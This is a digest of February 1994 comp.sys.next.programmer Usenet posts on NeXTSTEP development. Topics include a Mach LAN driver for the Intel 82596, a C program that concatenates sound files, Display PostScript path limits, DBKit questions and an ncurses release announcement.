Newsgroups: comp.sys.next.programmer From: dhg@csn.org (David H. Goodlette) Subject: Re: NeXT 3.2 device driver information wanted! Message-ID: <CLo3B5.31s@csn.org> Summary: Writing NeXT 3.2 (Intel) LAN driver: problems with kernel IO, Gcc Keywords: Gcc device driver LAN 82596 Intel 3.2 Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. Date: Wed, 23 Feb 1994 07:54:40 GMT OH WISE AND FRUITFUL PROGRAMMERS OF YE OLDE NeXT 3.2 (Intel).. I beseech thine gracious heeelllllllp! Please keep in mind: I know little of NeXTSTEP Operating system I know less of the 3.2 Intel version I know squat about Mach And I'm in the process of writing a NeXTSTEP 3.2 LAN device driver for a new wiz-bang PC clone out of the UK. Within the deep recesses of this little monster, there lies an Intel 82596 LAN controller chip, a Yamaha YZ262F FM Synthesizer chip, a Cirrus Logic GD542x video controller chip, and a proprietary Sony SLC CD-ROM interface, all on the motherboard. It's actually a nice little machine, and I got the pleasure of getting all these on-board features working with NeXT 3.2 for Intel. Since I RTFM'ed the Next Mach Manuals and all the readme files & such before starting (while waiting for all the data sheets to arrive :->), I decided to tackle the LAN driver first so I could use GDB to debug the rest. Maybe I was a little ahead of myself... The two problems I'm running across are: 1) I can't seem to use open(), write(), and close() from within the Mach kernel; I get Mach kernel panics in the form of: XENLAN: IOMalloc returned 02200000 (my IOLog() msg) XENLAN: Attempting open... (mine again) !panic:(CPU 0) get_posix_proc(): no posix proc struct for pid -205 panic: NeXT Mach 3.2: Tue Sep 14 19:33:09 PDT 1993; root(rcbuilder): mk-149.30.12.obj~2/RC_i386/RELEASE_I386 kernel panic exception (6,3,1) Pressing 'c' to attempt to continue within the NMI monitor simply redisplays the message to press 'c' or 'r'. I refuse to believe that I can't use basic file IO from within the kernel; else how does the kernel do it?? Gotta be something I'm doing wrong... 2) I have a structure (actually several) defined in gcc for the i82596, and one in particular and I suspect several have members not aligning on the correct boundaries. For 1) above, it took quite a bit of finagling to get the driver compiled with references to open(), write(), and close(). I'm trying to use these to write a file of memory, then look at it od(1). Trying to use fopen(), fwrite(), and fclose() instead causes driverLoader to choke with a 108 error message (somethiong about can't link driver). This is also true for ANY static data types declared, inside or outside function and class bodies. ??? The finagling came into play when I first got a warning that the libc.p file was not built with -DKERNEL. No prob, I simply mv'ed it to a new name. However, there are two conflicting definitions for the time struct, one in bsd/time.h and another in ansi/time.h. One has shorter definitions if KERNEL is defined; I hacked bsd/time.h (a guess) adding an #infdef KERNEL to not redefine the time struct (after making a backup copy), and still got blown out of the water. So much for the aducated guess... For 2) above, the structure is *supposed* to be 304 bytes, and starts off: typedef struct DAF { unsigned char :7; unsigned char savBD :1; unsigned char cfigbyte3; unsigned char cfigbyte4; unsigned char cfigbyte5; unsigned char cfigbyte6; unsigned char cfigbyte7; unsigned char cfigbyte8; unsigned char cfigbyte9; unsigned char cfigbyte10; unsigned char cfigbyte11; unsigned char cfigbyte12; unsigned char cfigbyte13; unsigned short :16; unsigned char iaBytes[6]; union { unsigned short val; struct { unsigned short numCol :4; unsigned short frtl :1; unsigned short maxCol :1; unsigned short heartBeat:1; unsigned short txDef :1; unsigned short underRVN :1; unsigned short lostCTS :1; unsigned short lostCRS :1; unsigned short lateCol :1; unsigned short :1; unsigned short txOk :1; unsigned short txChn :1; unsigned short col :1; } b; unsigned int txCRC; // <<<--- the problem .... } lastTxStatus; The problem is that txCRC should have an offset of 0x16; it has an offset of 0x18. I tried using __aligned__, an all this does is move it further out. I just found this a couple of days ago; I don't know how many other structures are affected. For that matter, The above example might work for anyone who cares to check it out since this structure is taken out of contect with the rest of the header file. The *ONLY* thing I can think of, since I've hacked the above structure mercilessly without change, is that maybe the member HeartBeat is conflicting with another member by the same name in another struct. However, I'm guessing that the namespace from union to union *should* be separate and distinct! I need to research this more. These two problems are the essence of my woe; again I beseech all of thee in my humility; I'm stuck! I sent a mail off to nextanswers@next.com, and it didn't bounce back nor did I get any response. That was about a week ago before problem 2. I'm not a registered developer; my custoer probably should be (for that matter, I probably should be, but I'm trying to save my pennies for my NeXT computer :-) Any ideas, folks? Any would be appreciated! Thanks, Dave (Goodbits) Goodlette PS: I erroneously posted this to the advocacy group; I'm still trying to figure out how to delete a message I posted. My brain must be off... Sorry.
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Tue, 22 Feb 1994 20:02:09 PST Message-ID: <1994Feb23.040209.1194@corona.com> Newsgroups: comp.sys.next.programmer Subject: Execute commands! References: <2kah6v$mbq@email.tuwien.ac.at> From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) > How can I execute UNIX commands within the application? Look at /NextDeveloper/Examples/Unix/Subprocess. This may not be exactly what you want, but ought to give some pointers in the right direction. (There were also some caveats on the net a couple months ago about a subtle bug...something to do with resource leaks, I think.) --- NeXTMail:Peter_Kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
Newsgroups: comp.sys.next.programmer From: ian_stewart@nyro.com (Ian H. Stewart) Subject: Installing gcc 2.5.8 Message-ID: <CLoD6M.AGL@nyro.com> Sender: ian@nyro.com (Ian H. Stewart) Organization: NYRO Technix, Inc. - 415 664-1170 Date: Wed, 23 Feb 1994 11:27:57 GMT I would like to get this working. I got the gcc-2.5.8.tar.Z from prep and compiled it and installed and I get nothing but errors. I probably did it wrong. A step by step guide would be appreciated and I will submit it to the FAQ. Thanks in advance. ian ps I want c and objc only to start.
Newsgroups: comp.sys.next.programmer From: greyham@research.canon.oz.au (Graham Stoney) Subject: Re: Is Objective - C a dead language ? Message-ID: <CLJxy7.4tB@research.canon.oz.au> Sender: news@research.canon.oz.au Organization: Canon Information Systems Research Australia References: <CL2tLM.qJ@friday.com> <CL6q6r.55D@pdh.com> <2jpr90$a27@meaddata.meaddata.com> Date: Mon, 21 Feb 1994 02:08:30 GMT michelle@meaddata.com (Michelle Buck) writes: >Overloading the operator + (Plus) to concatenate strings is VERY BAD. Plus >already has a meaning in C++. Given the following example: >String s ("\n"); >s = "Hello " + "world" + s; >What string is referred to by s ? >in C, the plus indicates address arithmetic as follows: >const char *s; >s = "Hello " + "world" + "\n"; No it doesn't. Adding two pointers is illegal in C. -- Graham Stoney, Hardware/Software Engineer Canon Information Systems Research Australia Ph: + 61 2 805 2909 Fax: + 61 2 805 2929
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: How retrieve current font! Date: 23 Feb 1994 12:31:18 GMT Organization: Technical University Vienna, Austria Message-ID: <2kfiam$9k5@email.tuwien.ac.at> I need to get the font object of the currently used font in my view, because I want to know its pointsize. How can I get it? Suessner Michael
From: ricardo@pencom.com (Ricardo Parada) Newsgroups: comp.sys.next.programmer,comp.sys.next.hardware,comp.sys.next.software Subject: Re: NeXT 3.2 device driver information wanted! Date: 23 Feb 1994 16:04:34 GMT Organization: Pencom Sofware Message-ID: <2kfuqi$k3n@digdug.pencom.com> References: <CLo3B5.31s@csn.org> In article <CLo3B5.31s@csn.org> dhg@csn.org (David H. Goodlette) writes: > And I'm in the process of writing a NeXTSTEP 3.2 LAN device driver > for a new wiz-bang PC clone out of the UK. Within the deep recesses > of this little monster, there lies an Intel 82596 LAN controller > chip We wrote that driver for UNISYS boxes that were sold to Bozell. It's probably the only driver I've seen about as fast or maybe faster than the Intel EtherExpress. The UNISYS boxes had that same ethernet controller on-board, the Intel 82596 that uses bus mastering technology. You may be able to get it from Brent Terry (Manager of the Technology Integration group here at Pencom). The driver was written for 3.1 and then ported to 3.2 since there were some API changes. -- + Ricardo J. Parada "Imagination is more important than knowledge!"..-- Albert Einstein
From: me@ienext.unl.edu (Dan Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Two Switch Paradox Date: 23 Feb 1994 16:40:44 GMT Organization: University of Nebraska--Lincoln Distribution: world Message-ID: <2kg0uc$clk@crcnis1.unl.edu> References: <2kevqb$6o7@senator-bedfellow.MIT.EDU> In article <2kevqb$6o7@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: : Interesting Experiment: : : Drag two switches onto an empty Interface Builder window. Connect one : button to the other with a performClick: message. Now connect the : second button to the first with the same message. Run the application, : select one of the switches, and the app crashes. : : If you go into debug mode, you get a memory address exception error. If : you type "where" to find out where on the stack you are, you get an : infinite loop of messages like: : : #407 0x6060530 in -[Application sendAction:to:from:] () : #408 0x6064dc4 in -[Control sendAction:to:] () : #409 0x6073920 in -[Button performClick:] () : #410 0x502ea68 in -[Object perform:with:] () : #411 0x6060530 in -[Application sendAction:to:from:] () : #412 0x6064dc4 in -[Control sendAction:to:] () : #413 0x6073920 in -[Button performClick:] () : #414 0x502ea68 in -[Object perform:with:] () : : Why does this happen? I connected two switches together in my app : because I wanted one switch to deselect when the other selects, and vice : versa, like a two-button toggle. There is probably a better way to get : this type of behavior, but I haven't given it much thought (no, radio : button won't work since I need two separate switches). : : Eric Maybe *I'm* confused, but isn't an infinite loop exactly what you would expect to see here? When performClick: is invoked the button will invoke the performClick: method of the other button (its target) and so on and so on... Instead, why not add a new method to your button. This new method (let's call it adjustState:) can make all the desired changes in the state of the button *without* sending a performClick: message to the other button. Now simply connect each button to the other with an adjustState: message rather than a performClick: message. How about the following?: - adjustState:sender { [self setTarget:nil]; [self performClick:self]; [self setTarget:sender]; return self; } I haven't tried this so no guarantees, but it seems like it would work. Note: no ivars are added so this could be implemented with a category rather than subclassing, right? -------------------------------------------------------------------------- Dan Scott me@ienext.unl.edu NeXT mail welcome --------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: another DO question Message-ID: <1994Feb22.144737.2446@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization References: <RALF.94Feb20233355@jodokus.en.open.de> Date: Tue, 22 Feb 1994 14:47:37 GMT In article <RALF.94Feb20233355@jodokus.en.open.de> ralf@reswi.en.open.de (Ralf E. Stranzenbach) writes: > > Is there something i've missed doing in my "-free" method? It's > currently just a "return [super free]" cheapo. > In den release notes steht, dass strings (char *) die man an einen Server schickt dort nicht freigegeben werden, d.h. der Server waechst unendlich. Der Bug bleibt auch in 3.2 :-(, workaround wohl nicht moeglich. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: Re: Command line program to concatenate two sound files? Date: 23 Feb 1994 12:34:34 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402231836.AA09316@dcs.shef.ac.uk> This is a bit clumsy (betraying the fact that some of the code was culled from early programs!) but it seems to work. I'm happy to accept any criticisms, suggestions etc. -- so long as they're constructive and I can learn from them! I'll try my best to do so :-) Have fun, mmalcolm. /* * concatSNDs.c * mmalc - 23feb94 - version 0.9 * no warranties expressed or implied! * * there seems to be a bug on converting to float format? */ #include <stdio.h> #include <libc.h> /* for getopt */ #include <sound/sound.h> /* #include "concatSNDs.h" */ char sound1Filename[MAXPATHLEN+1]; char sound2Filename[MAXPATHLEN+1]; char outputFilename[MAXPATHLEN+1]; int get_comline(int argc, char** argv); void describe(char *fname); void identify(char *fname); void usage(char *fname); void help(char *fname); void main (int argc, char **argv) { SNDSoundStruct *sound1, *sound2; int error; if (!get_comline(argc, argv)) { exit(1); } /* * read sound1 */ error = SNDReadSoundfile(sound1Filename, &sound1); if (error != SND_ERR_NONE) { fprintf(stderr, "error reading 1 %s...\n%s\nexiting\n", sound1Filename, SNDSoundError(error)); exit(1); } /* * read sound2 */ SNDReadSoundfile(sound2Filename, &sound2); if (error != SND_ERR_NONE) { fprintf(stderr, "error reading 2 %s...\n%s\nexiting\n", sound2Filename, SNDSoundError(error)); exit(1); } /* * check formats are the same -- * if not convert sound2 format to sound1 format */ if ((sound1->samplingRate != sound2->samplingRate) || (sound1->dataFormat != sound2->dataFormat) || (sound1->channelCount != sound2->channelCount)) { SNDSoundStruct *convertSound; SNDAlloc(&convertSound, 0, sound1->dataFormat, sound1->samplingRate, sound1->channelCount, 4); error = SNDConvertSound(sound2, &convertSound); if (error != SND_ERR_NONE) { fprintf(stderr, "error converting sound format\n%s\nexiting\n", SNDSoundError(error)); exit(1); } SNDFree(sound2); sound2 = convertSound; } /* * add sound2 to sound1, starting at end of sound1 */ error = SNDInsertSamples(sound1, sound2, SNDSampleCount(sound1)); if (error != SND_ERR_NONE) { fprintf(stderr, "error trying to concatenate sounds...\n%s\nexiting\n", SNDSoundError(error)); } error = SNDWriteSoundfile(outputFilename, sound1); if (error != SND_ERR_NONE) { fprintf(stderr, "error trying to write soundfile %s...\n%s\nexiting\n", outputFilename, SNDSoundError(error)); exit(1); } fprintf(stderr, "sound written to %s\n", outputFilename); exit(0); } /* XXXXXXXXXXXXXXXXXXXXXXXX USER INTERFACE XXXXXXXXXXXXXXXXXXXXXXXX */ int get_comline(int argc, char** argv) { /* extern int optind; */ extern char *optarg; int c; char okflg, intoOutFile; char gotSound1Filename, gotSound2Filename; intoOutFile = FALSE; strcpy (outputFilename, "concat.snd"); okflg = TRUE; gotSound1Filename = FALSE; gotSound2Filename = FALSE; while ((c = getopt(argc,argv,"HIUDo:1:2:")) !=EOF) { switch(c) { case 'H': help(argv[0]); okflg=FALSE; break; case 'D': describe(argv[0]); okflg=FALSE; break; case 'I': identify(argv[0]); okflg=FALSE; break; case 'U': usage(argv[0]); okflg=FALSE; break; case 'o': intoOutFile = TRUE; sprintf(outputFilename, "%s", optarg); break; case '1': gotSound1Filename = TRUE; sprintf(sound1Filename, "%s", optarg); break; case '2': gotSound2Filename = TRUE; sprintf(sound2Filename, "%s", optarg); break; case '?': okflg = FALSE; } } if ((!gotSound1Filename || !gotSound2Filename) && okflg) { fprintf(stderr, "must specify 2 sound files\n"); okflg = FALSE; } return(okflg); } void describe(char *fname) { fprintf(stderr,"%s\n", fname); fprintf(stderr,"concatenates two NeXT-format sound files\n"); fprintf(stderr,"If the sounds do not have the same format,\n"); fprintf(stderr,"the second sound is converted to the format of\n"); fprintf(stderr,"the first before the two are concatenated.\n"); } void identify(char *fname) { fprintf(stderr,"%s : concatenates two NeXT-format sound files\n", fname); } void usage(char *fname) { fprintf(stderr,"%s usage: [1:2:o:] \n", fname); } void help(char *fname) { fprintf(stderr,"%s - options:\n", fname); fprintf(stderr," -1 string first sound file ()\n"); fprintf(stderr," -2 string second sound file ()\n"); fprintf(stderr," -o string output file name (%s)\n", outputFilename); }
Newsgroups: comp.sys.next.programmer From: guenther@tms-gmbh.de (Guenther Fuerthaller) Subject: Re: Using DPSDoUserPath Message-ID: <CLow6L.14t@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <1994Feb23.022138.914@adobe.com> Date: Wed, 23 Feb 1994 18:18:20 GMT There is one single reason for the errors you get with a userpath with 16384 coordinates. 16384*sizeof(float)= 65536. Have a look at the operand description for the userpath operators. One string object for the opcodes and one encoded numberstring for the arguments and an encoded numberstring is an ordinary string, only the operator makes the difference in interpretation. So you send a string object of length 65536 to the interpreter and this is impossible due to the limited length of Postscript string objects. Now when you try to find the maximum number of coordinates you can pass to DPSDoUserPath you will discover that there is an additional loss of i think 2 or 4 bytes of the original string limit, which is 65535 as you know. This comes with the number encoding description, which is inserted at the beginning of the number string. Second topic. There is no limit for the length of 'current path' in the Window Server. Try the following: newpath 0 0 moveto 60000 {1 1 rlineto} bind repeat 0 {pop pop 1 add} bind dup {pop pop pop pop pop pop 1 add} bind {1 add} bind pathforall == The result of == will be 60001 as to expect and you can even stroke this path. However you can hardly use this in an application because you cannot send your paths in portions with DPSDoUserPath. The reason is that any userpath passed to a userpath operator must have an initial moveto even if the operator is uappend. Adobe should have made this special case for uappend then we could really work with arbitrary long paths. Guenther Fuerthaller In article <1994Feb23.022138.914@adobe.com> Scott Byer <byer@mv.us.adobe.com> writes: > Sean L. Hill writes > > > In article <1994Feb22.195713.15895@adobe.com> > > Scott Byer <byer@mv.us.adobe.com> writes: > > >> Gary Scavone writes > > >> > I'm using the above function for drawing. It works for user > >> > path lengths of 8192, but when I jump to a length of 16384 > >> > I get undefined dps errors. Is there some upper limit on > >> > user path lengths or view lengths? > > >> Yes, depending on memory availiable. There is a minimum of 1500 > >> points allowable. > > > Excuse me if I'm wrong, but I think Scott is tired today. There > > is a maximum of 15000. You need to break your userpath into > > smaller chunks. The Purple book on Display PostScript discusses > > this and other limits. > > Well, there are two limits going on here. 1500 is the limit you > should use if you're going to print to a Level 1 printer (Red Book, > appendix B, and Purple Book, Section7.2, p118). ~13000 is the limit > imposed by the pswrap machinery - the largest a single binary object > can be is 64k bytes, unless the routine knows how to create an > extended BOS. If all you're doing is moveto/lineto, that's 5 bytes > per. > > In practice, since you have to write the loop to restrict the number > of points sent at one time anyway, might as well restrict it to > 1500 a pop, and not worry about Level 1 printers anymore. The extra > time spent in doing more calls to the server is offset by what > happens in the interpreter ;-) with really long encoded user paths (I > did some timings at one point using one of the Purple Book programs > - it's an interesting graph :-). > > -- > Scott Byer NeXTMail: byer@mv.us.adobe.com > Adobe Systems Incorporated These are *my* opinions, and > 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect > Mountain View, CA 94039-7900 the opinions of my employer. > ---------------------------------------------------------------------
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: Printing pagination! Date: 23 Feb 1994 19:13:39 GMT Organization: Technical University Vienna, Austria Message-ID: <2kg9t3$n3p@email.tuwien.ac.at> I installed a view in a ScrollView instance as a docView. The frame of my view is quite large. When I want to print the content, I send a printPSCode message to the view instance, but Appkit only prints the part, which is currently visible in my ScrollView. What will I have to do, so that the Appkit automatically paginate my view and prints all pages? I have installed this view also as the firstResponder. With IB I connected the print items with the firstResponder. When I choose print from the menu, each view in the Responder chain calls printPSCode. Why is this so? Thanks SM
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: Command line program to concatenate two sound files? Date: 23 Feb 1994 18:53:46 GMT Organization: University of Michigan Distribution: world Message-ID: <2kg8nq$l6g@lastactionhero.rs.itd.umich.edu> References: <2kdsh8$2bt@golf.ustores.missouri.edu> In article <2kdsh8$2bt@golf.ustores.missouri.edu> c512052@monad.missouri.edu (David Drum) writes: > Hi all, > > I have two REALLY BIG 16kHz stereo sound files which I would like to > concatenate, and nothing more. Every .app I have used has choked on > Is it possible to write a small command line program that taps into the > sound objects necessary and outputs the concatenated file? How should I I have the nasty feeling that you don't really mean something this simple, but, here goes - "cat file1 file2 > outputfile". Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
Newsgroups: comp.sys.next.programmer From: cleelacj@agedwards.com (Chris Cleeland) Subject: Re: Is inheritance a good idea? Message-ID: <CLnH7q.13C@agedwards.com> Date: Tue, 22 Feb 1994 23:57:26 GMT References: <1994Feb16.160308.1645@afs.com> Organization: A. G. Edwards & Sons, Inc. Michael Pizolato (Michael_Pizolato@afs.com) wrote: : regarding operator overloading, it is much more than syntactic : sugar, it is core to programming at any level above assembler. [snip example of multiplication operator '*' involved w/ matrices] : I don't think about the fact that '*' : is overloaded, I just know that I can multiply numbers. It's an : abstraction, and that's what high-level languages, and OOP in : particular, are supposed to be so good at. : Isn't OOP supposed to give us the greatest conceptual tool yet : available to the programmer? Are we not supposed to be able to : conceive of programs at a level that maps very closely to the way : we view the world? Then why is the above kind of overloading missing : in Objective-C? Why can't I define '*' if it makes sense for my : object? : There is no justifiable reason not to have full operator overloading : in _any_ programming language. I still think it's syntactic sugar. Reason? Most programming languages only have shorthand operators for mathematical operations. The meaning of these operators in non-numerical contexts is muddy and ambiguous. What should a String class do with an overloaded operator '*'? Moreover, what should something like a Window or View or Control do with an operator '*'? The semantics are simply not very well-defined. That's one of the things that I think is so beautiful about ObjC and Smalltalk -- the code reads quite easily once you understand how things are laid out. I'm not saying that I don't like operator overloading. I miss it occasionally in Objective C. But, I don't think it's required in _any_ programming language, as Michael asserts. Such a language could turn into another APL. : P.S. This doesn't mean I'd rather use C++, though. ;-) Didn't think so :-) -cj -- ============================================================================== Chris Cleeland | NeXTMail: chris@milo.st-louis.mo.us BOS Dev. Team | MIMEMail: cleeland@agedwards.com | BellNet: (314) 289-5372
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: tdion@world.std.com (Tim J Dion) Subject: Help with bundle.registry ??? Message-ID: <CLoz8J.160@world.std.com> Organization: The World Public Access UNIX, Brookline, MA Date: Wed, 23 Feb 1994 19:24:17 GMT I am trying to extend the functionality of Workspace Managers Inspector panels and have run into a snag. The new inspector does not seem to be registering with WM correctly. I think the problem comes from the bundle.registry file but I am not to sure. Can anyone point me in the direction of a working Contents Inspector on the net that shows exactly how things fit together? A working example would definitely help me along. On the same lines, after getting the contents inspector up and running, I am going to try and add an inspector onto the normal pulldown in the Inspector Panel (Attributes, Contents, Tools, Access and foo), any suggestions for approaching this problem would be appreciated. Thanks for any help... ============================================= / / / --------------------> timd@marble.com / / / Timothy J. Dion /======================= / / / /\ /\ Marble Associates / / / / / / \/ / (617)- 891- 5555 / ...as long as I have / / / / / / / rock-n-roll I'm / ============================================== forever young... / ( / =========================
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Command line program to concatenate two sound files? Message-ID: <1994Feb23.204848.26529@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2kdsh8$2bt@golf.ustores.missouri.edu> <2kg8nq$l6g@lastactionhero.rs.itd.umich.edu> Date: Wed, 23 Feb 1994 20:48:48 GMT In article <2kg8nq$l6g@lastactionhero.rs.itd.umich.edu> pcu@umich.edu writes: >>In article <2kdsh8$2bt@golf.ustores.missouri.edu> >>c512052@monad.missouri.edu (David Drum) writes: >>> Hi all, >>> >>> I have two REALLY BIG 16kHz stereo sound files which I would like to >>> concatenate, and nothing more. Every .app I have used has choked on >>> Is it possible to write a small command line program that taps into the >>> sound objects necessary and outputs the concatenated file? How should I >> >>I have the nasty feeling that you don't really mean something this simple, >>but, here goes - "cat file1 file2 > outputfile". >> Having written the few lines to do this before, I believe the gotcha with that solution is that the samples need to be interleaved (assuming the raw data is a left and right channel). Also, if those are sound files, they have a header that needs to be stripped (and regenerated for the new file). It only take 10 to 20 minutes from scratch, as long as you're looking at the sound docs. I'd go dig up my code, but I believe someone already posted the right way... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Need help with DBKit Message-ID: <1994Feb23.191946.25831@planon.qc.ca> Keywords: dbkit Sender: laurent@planon.qc.ca Date: Wed, 23 Feb 1994 19:19:46 GMT Hi netter! I would like to have suggestions on the following problem: We have a database that have a column in a table that contains double values. However, these values are not humanly understandable. I have to convert it to display it in an understandable form. Currently, I have a subclass of the DBEditableFormatter class that I'm trying to make work like I do: I want to take the value from the datasource object, convert it and display the converted value. The user is allowed to edit this value. If it's edited, I must have a way to take the edited value, convert it and let know the datasource that the value has been modified. However, I didn't have much success, so far. I carefully examine all the NeXT examples, all the MiniExamples, but found nothing that do what I want to do. What would be the best solution to this problem? Thanks in advance for any help, pointer, info! Laurent. -- ****************************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: PSxyshow takes a second to draw 6000 characters Date: 23 Feb 1994 13:13:25 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2kfkpl$g9k@gpo.gb.swissbank.com> Subject line says it all really. This is the main cause of a non-editable DBTableView being slow to draw. 100 lines with 60 chars/line took 1.2 seconds to draw with PSxyshow (this is under 3.2). An alternative method using PSmoveto/PSshow for each line took 0.3 seconds. Wrapping PSusertime() calls round the drawSelf proves that most of the second is spent in the Window Server. Sounds like we could do with some postscript benchmarks to test the Window Server against. Dave Griffiths PS: Hacker's tip: you can avoid the use of PSxyshow in your DBTextFormatter subclass by setting _xyShow to your own object in init. This object just needs to implement moveTo::, show:, reset:gray: and finalize.
From: mat@murdock.oscs.montana.edu (Mat Watson) Newsgroups: comp.sys.next.programmer Subject: Mathlink with graphics help request. Date: 23 Feb 1994 14:07:33 GMT Organization: Montana State University, Bozeman, MT. Distribution: world Message-ID: <2kfnv5$7pl@pdq.coe.montana.edu> I'm looking for an source example that shows how one interacts with Mathematica. Specifically, I am interested in sending expressions to MMA and receiving plots back that I will then display in a View. So far, I've only found an example that came with MMA for a front end. I also found the "Mathlink Reference Manual" at the WRI archive. Unfortunately, it still isn't clear to me how I'm going to handle the graphics. If you can point me to an expample, or offer some advice I would appreciate it. Mat Watson mat@murdock.oscs.montana.edu
From: seanw@codex.com.au (Sean Woodhouse) Newsgroups: comp.sys.next.programmer Subject: How to qualify a popup populated by a DB??? Date: 23 Feb 1994 23:41:39 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2kgpjk$m67@yarrina.connect.com.au> Hi All, Ok, I can get popup's to be populated by a DB, and ALL the records for the table appear in the popup list. I need to qualify this list somehow so that only some of the records from the table appear in the popup list. Is there any way to add a qualifier when these records are fetched?? Thanks Sean.
Newsgroups: comp.sys.next.programmer From: Scott Byer <byer@mv.us.adobe.com> Subject: Re: PSxyshow takes a second to draw 6000 characters Message-ID: <1994Feb24.014104.29748@adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated References: <2kfkpl$g9k@gpo.gb.swissbank.com> Date: Thu, 24 Feb 1994 01:41:04 GMT Dave Griffiths writes > Subject line says it all really. This is the main cause of a > non-editable DBTableView being slow to draw. > PS: Hacker's tip: you can avoid the use of PSxyshow in your > DBTextFormatter subclass by setting _xyShow to your own object > in init. This object just needs to implement moveTo::, show:, > reset:gray: and finalize. It's a bug in the server, things get pathological when more than ~500 characters are shown at once. Below that amount, xyshow is far faster than moveto/show combinations. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
Newsgroups: alt.sources.d,comp.sources.d,comp.os.386bsd.misc,comp.unix.programmer,comp.sys.apollo,comp.sys.next.programmer,comp.unix.ultrix,comp.unix.sys5.r4,comp.sys.sun.misc,comp.sys.hp.hpux From: zmbenhal@netcom.com (Zeyd M. Ben-Halim) Subject: announcing ncurses 1.8.5 Message-ID: <zmbenhalCLpn4I.5y2@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Thu, 24 Feb 1994 04:00:18 GMT This is to announce the latest version of ncurses (1.8.5) It is available by anonymous ftp as: netcom.com:pub/zmbenhal/ncurses/1.8.5.tgz The file is a gzipped tar. gzip and tar are available from you favorite GNU archive. See the file ncurses-1.8.5/INSTALL for instructions on how to build and install ncurses. ncurses is a SYSV-compatible curses (screen management) package. It supports keypad() allowing access to function and arrow keys. It supports and uses Terminfo instead of termcap for terminal description. It has support for PC graphic characters (used in drawing boxes). It has color support similar to that in SYSV curses. It currently has support for the following: Linux 386BSD/NetBSD/FreeBSD BSDI's BSD/386 SYSTEM V R4 SunOs 4.1.3 Ultrix HP/UX 9.0 HP/UX with c89 compiler Apollo sr10.3/bsd4.3 NeXT 3.0 Some people are working on A/UX, AIX, SCO, DEC alpha, SunOs with glibc. Any comments, bug reports, patches, additions are welcome. There is a mailing for discussing ncurses and general Character-based user interfaces. Send mail to ncurses-list-request@cs.tu-berlin.de asking to be added. Before you embark on changing or fixing ncurses, please check with me. I'm continuously updating it and there is no sense in duplicating work. If you have a program that's having problems running with ncurses either send me a copy of it or tell where I can get a copy. Zeyd M. Ben-Halim zmbenhal@netcom.com Newsgroups: alt.source.d,comp.sources.d,comp.os.386bsd.misc,comp.unix.programmer,comp.sys.apollo,comp.sys.next.programmer,comp.unix.ultrix,comp.unix,sys5.r4,comp.sys.sun.misc,comp.sys.hp.hpux Subject: announcing ncurses 1.8.5 Summary: Followup-To: Distribution: world Organization: NETCOM On-line Communication Services (408 241-9760 guest) Keywords: This is to announce the latest version of ncurses (1.8.5) It is available by anonymous ftp as: netcom.com:pub/zmbenhal/ncurses/1.8.5.tgz The file is a gzipped tar. gzip and tar are available from you favorite GNU archive. See the file ncurses-1.8.5/INSTALL for instructions on how to build and install ncurses. ncurses is a SYSV-compatible curses (screen management) package. It supports keypad() allowing access to function and arrow keys. It supports and uses Terminfo instead of termcap for terminal description. It has support for PC graphic characters (used in drawing boxes). It has color support similar to that in SYSV curses. It currently has support for the following: Linux 386BSD/NetBSD/FreeBSD BSDI's BSD/386 SYSTEM V R4 SunOs 4.1.3 Ultrix HP/UX 9.0 HP/UX with c89 compiler Apollo sr10.3/bsd4.3 NeXT 3.0 Some people are working on A/UX, AIX, SCO, DEC alpha, SunOs with glibc. Any comments, bug reports, patches, additions are welcome. There is a mailing for discussing ncurses and general Character-based user interfaces. Send mail to ncurses-list-request@cs.tu-berlin.de asking to be added. Before you embark on changing or fixing ncurses, please check with me. I'm continuously updating it and there is no sense in duplicating work. If you have a program that's having problems running with ncurses either send me a copy of it or tell where I can get a copy. 